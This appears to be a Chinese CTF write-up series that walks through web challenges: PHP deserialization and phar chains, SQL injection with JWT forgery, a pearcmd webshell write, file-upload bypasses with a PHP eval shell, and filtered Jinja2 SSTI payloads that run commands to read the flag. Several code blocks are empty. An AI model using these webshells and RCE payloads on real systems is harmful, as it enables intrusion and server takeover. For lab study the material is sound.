piapiapia

dirsearch扫到了www.zip,访问下载看看

index.php
1 |
|
class.php
1 |
|
profile.php
1 |
|
config.php
1 |
|
猜测flag在这个文件中,我们要有一个意识:这是我们下载下来的源码,并非真正的服务端运行的源码,本地搭建做题环境时要改成自己的用户名、密码之类,在服务端docker的主机里,$flag变量应该存的就是我们要的flag。
register.php
1 |
|
update.php
1 |
|
漏洞定位与利用链分析
目标:读取 config.php 中的 $flag。
入口:update.php 更新用户资料。
关键代码逻辑:
class.php中的filter()函数会将where替换为hacker(长度从5变为6,增加了1个字符)。update.php将nickname,phone,email,photo序列化后存入数据库。profile.php反序列化数据并执行file_get_contents($profile['photo'])。
利用原理:利用 filter() 替换关键字时产生的字符串长度变化,在序列化字符串中“挤出”多余字符,从而篡改后续序列化字段的内容,将 photo 的值修改为 config.php。
构造流程
1 |
|
解题步骤
- 在
/register.php注册,在/index.php登录 - 在
nickname字段填入上述构造的 payload。 phone和email填写合法值(确保正则通过即可,如12345678901和a@a.com),随意上传一张图片- 然后
bp抓包,记得这里要改一下

- 然后访问
/profile.php,查看源码就行
SecretPhotoGallery
打开题目是一个登录页面
回看题目,给了hint
1 | This is a mysterious gallery system, but the sqlite database is empty, is it? |
看来是考SQL,测了一下注入点在password
1 | username:1 |
成功登录访问一下admin.php,Cookie:
1 | auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMSIsInJvbGUiOiJndWVzdCIsImlhdCI6MTc4NTU1NDU3Nn0.mXRRucB-fhp1B7-QBjQ8OSCEmCUrvxGtQ9UMzT2mKLE |
一看就是JWT,把guest改成admin,但是发现没有签名
提取源码中注释的字母:GALLERY2024SECRET
最后Cookie:
1 | auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4NTU1NDU3Nn0.-3ovBla6AH2trBITV2aayQI2WRR01tPMZdmJliuyjQA |
export功能是用include实现的,allow_url_include没开,base64filter也不行
打pearcmd
1 | https://靶机地址/admin.php?+config-create+/file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php |

1 | /test.php |

在Hackbar试了半天,最后在bp才成功
象棋王子
在play.js里发现
1 | play.showWin = function (my){ |
当my=1时胜利
把下面这一坨放到控制台就行了,是jsfunk加密
1 | [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])()) |
迷路的魔法少女
1 |
|
审计一下
String2Array 函数直接将传入的 $data 拼接到 eval() 中执行。而 $data 的来源是 $attrstr,$attrstr 的内容又完全由 GET 参数 $attrid 和 $attrvalue 控制。
核心考点在于:在双引号字符串拼接的上下文中,如何闭合引号并注入合法的 PHP 代码。
payload:
1 | ?attrid=0&attrstr=${eval(system('cat /etc/timezone'))} |
funny_upload
看了一下源码
1 | function Checkfiles() |
所以我们上传一个jpg试试
回显:文件内容也改改呗~,看来会校验文件内容,第一次见呢
那我们可以对文件内容进行修改:(用base64编码一下)
1 | PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4= |
上传成功了,打.htaccess配置文件上传
1 | AddType application/x-httpd-php .jpg |
Power Cookie
以游客身份登录,发现服务器 返回了set-cookie

将set-cookie返回的值上送,并修改成管理员即可
1 | Cookie: admin=1; Path=/; Domain=127.0.0.1; Max-Age=3600 |
EasySSTI
测一下{{7*7}},回显49
存在SSTI注入,且模板为Janja
发现_被过滤,进一步测试发现 class、.、[]、'、"、request``空格等都被过滤。
所以要构造:
通过字符串拼接和索引访问,动态重构被过滤的敏感属性名和方法名,最终调用 os.popen('cat /flag').read()
1 | # pop p |
这是一个非常经典的 Jinja2 模板注入 (SSTI) Payload,专门用于在**过滤了敏感关键字(如 __、.、空格、引号等)**的 WAF 或沙箱环境中实现远程代码执行 (RCE)。
这个 Payload 的核心思想是:通过字符串拼接和索引访问,动态重构被过滤的敏感属性名和方法名,最终调用 **os.popen('cat /flag').read()**。
1 | {%set%0ap=dict(po=a,p=a)|join%}{%set%0axhx=({}|select()|string()|list|attr(p)(24))%}{%set%0ageti=(xhx,xhx,dict(geti=a,tem=a)|join,xhx,xhx)|join%}{%set%0aglo=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}{%set%0apo=dict(po=a,pen=a)|join%}{%set%0ao=dict(o=a,s=a)|join%}{%set%0als=dict(ls=a)|join%}{%set%0are=dict(re=a,ad=a)|join%}{%set%0akg=(self|string()|list|attr(p)(18))%}{%set%0ak=(config|string()|list|attr(p)(279))%}{%set%0acat=dict(cat=a)|join%}{%set%0af=dict(flag=a)|join%}{{lipsum|attr(glo)|attr(geti)(o)|attr(po)((cat,kg,k,f)|join)|attr(re)()}} |
构造过程:
基础原子提取(Atom Extraction)
在过滤了引号、点号和下划线的环境中,首先需要从当前上下文中“无中生有”地提取出基础构建单元。
- 获取
**pop**方法名:
{%set p=dict(po=a,p=a)|join%}
利用 Python 字典键的有序性(Python 3.7+),将dict(po=a, p=a)转为字符串拼接,得到"pop"。这是后续所有.attr()调用的基石,因为|attr("pop")等价于列表/元组的索引操作[index]。 - **获取下划线 **
**_**:
{%set xhx=({}|select()|string()|list|attr(p)(24))%}
空字典经过select()过滤器后生成一个 generator 对象,将其转为字符串"<generator object select at 0x...>",再转为列表取第 24 个字符。这个位置在大多数 Jinja2 版本中固定为_。
关键字动态重组(Keyword Reconstruction)
WAF 通常通过正则匹配 __globals__、popen 等敏感词。此 Payload 采用碎片化拼接策略彻底规避检测。
- 双下划线魔术方法重构:
{%set geti=(xhx,xhx,dict(geti=a,tem=a)|join,xhx,xhx)|join%}
将已提取的_(xhx) 与通过dict()|join生成的"getitem"放入元组,再用|join无缝拼接成"__getitem__"。同理构造"__globals__"。 - 命令与参数碎片化:
os→dict(o=a,s=a)|join
popen→dict(po=a,pen=a)|join
cat→dict(cat=a)|join
这种拆分方式使得任何单个片段都不具备语义,只有运行时动态组合才形成有效载荷。
特殊字符索引定位(Special Char Indexing)
空格和路径分隔符 / 无法通过字典拼接获得,Payload 采用了对象字符串表示索引法。
- 空格提取:
{%set kg=(self|string()|list|attr(p)(18))%}
self是模板自身的引用对象,其字符串表示"<TemplateReference self>"的第 18 个字符恰好是空格。 - 斜杠提取:
{%set k=(config|string()|list|attr(p)(279))%}
Flask 的config对象包含大量配置信息,其字符串表示极长。第 279 位被精心计算为/。
⚠️ 工程脆弱性提示:这两个硬编码索引是整个 Payload 最脆弱的环节。Flask/Jinja2 版本更新、配置项增减都会导致索引偏移。实战中需先探测版本或动态搜索目标字符。
执行链装配(Chain Assembly)
最后一步是将所有预制件按 Python 对象模型组装成可执行链路。
1 | {{lipsum|attr(glo)|attr(geti)(o)|attr(po)((cat,kg,k,f)|join)|attr(re)()}} |
构造工程的精髓总结
- 零字面量原则:整个 Payload 不包含任何引号、点号、双下划线,所有字符串均运行时生成。
- 多态入口选择:选用
lipsum而非request或session,因为它是 Jinja2 内置全局函数,不受 Flask 路由上下文影响,攻击面更稳定。 - 语法替代链:
.→|attr();[]→|attr("pop")(n);""→dict()|join;_→ 字符串索引。形成了完整的语法替代体系。 - URL 友好设计:原始 Payload 使用
%0a换行分隔语句,既保证了模板引擎的正确解析,又避免了分号;可能被 WAF 拦截的风险。
这套构造方法论不仅适用于 Jinja2,其原子提取→碎片重组→索引定位→链式装配的四步工程思维,同样可迁移至 Twig、Freemarker、Velocity 等其他模板引擎的对抗场景中。
注意:空格和 / 的索引值依赖于 Flask/Jinja2 的具体版本,不同版本可能需要调整。
最终执行链
1 | {{lipsum|attr(glo)|attr(geti)(o)|attr(po)((cat,kg,k,f)|join)|attr(re)()}} |
逐步展开等价于:
1 | lipsum.__globals__.__getitem__('os').popen('cat /flag').read() |
Unserialize Again
看起来像是一个文件上传页面,上传了文件之后回显其实这次不是在这里上传
那就看看源码,发现注释:<!--饼干?哪里有饼干-->
用bp抓包,发现Cookie: looklook=pairing.php
访问/pairing.php
1 |
|
分析一下,命令执行的条件是让God=true和user=admin成立,所以我们要绕__wakeup()。
1 |
|
将生成的文件,用 010 打开,复制到新建的十六进制文件修改属性数目, 绕过__wakeup

然后由于签名文件损坏要修复,注意到最后一行00前的03,可以知道为SHA256,修复脚本如下:
1 | from hashlib import sha256 |
然后发现题目的文件上传不能用,那么写脚本上传,顺便进行url编码
1 | import requests |
Ez to getflag
点开发现有两个页面:图片上传和图片查看
图片上传只支持上传png,而且看不到上传的文件
看一下图片查看,抓包发现有文件任意读取漏洞

预期解
读取文件
file.php
1 |
|
upload.php
1 |
|
class.php
1 |
|
class.php中的Show类的show方法没有过滤phar协议,配合文件上传的功能可以进行phar文件反序列化。
1 | public function backdoor($door){ |
backdoor方法存在文件包含,通过upload上传文件。
绕过upload过滤
1 | $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i'; |
禁止了php的标识符和一些函数,所以传不了马,但可以利用phar文件在被一些压缩方式压缩后依然可以使用phar协议进行解析的特性,传一个压缩过后的phar文件进去,而且限制文件后缀为png。
构造pop链
从Test::_destruct开始
1 | public function __destruct() |
将$this->str赋值为Upload类,这样会触发Upload::__tostring方法
1 | function __toString(){ |
这个方法有一个赋值操作,可以将$this->fname赋值为Show类,把$this->fsize赋值为想要包含的文件的文件名,因为在Show类中不存在该文件名,所以就会调用Show::__get方法,
1 | function __get($name) |
Show::__call方法又调用了Show::backdoor并以文件名为参数,而Show::backdoor使用了一个include包含了传入文件名,这样就可以进行文件包含了。
phar文件生成脚本:
1 |
|
压缩为zip压缩包并改后缀名为png上传该phar文件
文件包含
利用php的session上传进度以及文件上传的条件竞争进行,编写python脚本进行文件包含
exp:
1 | import sys,threading,requests,re |
非预期
payload:
1 | file.php?f=/flag&_=1658663645618 |
直接读取flag
cat flag
1 |
|
命令执行:system('cat ' . $cmd); 将用户输入拼接到 cat 命令后执行。
过滤:preg_match('/flag/i',$cmd) 禁止输入中包含 “flag” 字符串(不区分大小写)。
防御:escapeshellarg($cmd) 会将参数用单引号包裹,并转义内部的单引号。这意味着你无法通过常规的 ;、|、$() 等方式进行命令注入或拼接。
一直没绕过去,找了一下wp
发现有一个 hint:管理员曾访问过flag
那我们访问一下日志,先随便输一个不存在的url,发现本题是Nginx环境
1 | /var/log/nginx/access.log |

可以看到flag存放的位置在this_is_final_flag_e2a457126032b42d.php
payload:
1 | ?cmd=this_is_final_fl%aaag_e2a457126032b42d.php |
BabySSTI_Three
查看源码发现,hint:<!--This is Hint: Waf Has Been Updated Again, More And More Safe!-->
先测一下模板
1 | ?name={{7*7}} |
经过测试,该题过滤了_、:、空格和class等关键字
空格用[]绕过,_用16进制绕过
payload:
1 | ?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}} |
easycms
先了解一下 **cms **是啥
CMS漏洞利用
这类题的核心是:给一个现成的CMS(内容管理系统,如WordPress、Joomla、DedeCMS等),需要找到版本对应的已知漏洞,或通过代码审计发现逻辑缺陷,最终拿到Flag。
第一步:信息收集(这是最关键的一步)
第一步,尽可能多地获取目标信息:
- 识别CMS类型和版本:
- 查看网页底部版权信息(如
Powered by DedeCMS)。 - 查看网页源代码(
Ctrl+U),搜索generator、version等关键字。 - 访问特殊路径:
/robots.txt、/readme.txt、/CHANGELOG.md,或/admin/、/wp-admin/(WordPress默认后台)。 - 使用浏览器插件(如 Wappalyzer)自动识别。
- 查看网页底部版权信息(如
- 目录扫描:
- 使用工具(如 Dirsearch、Gobuster)扫描隐藏目录,可能会找到
/install/(安装目录)、/upload/(上传目录)、/backup/(备份文件)或.git泄露。
- 使用工具(如 Dirsearch、Gobuster)扫描隐藏目录,可能会找到
- 查看网络请求:
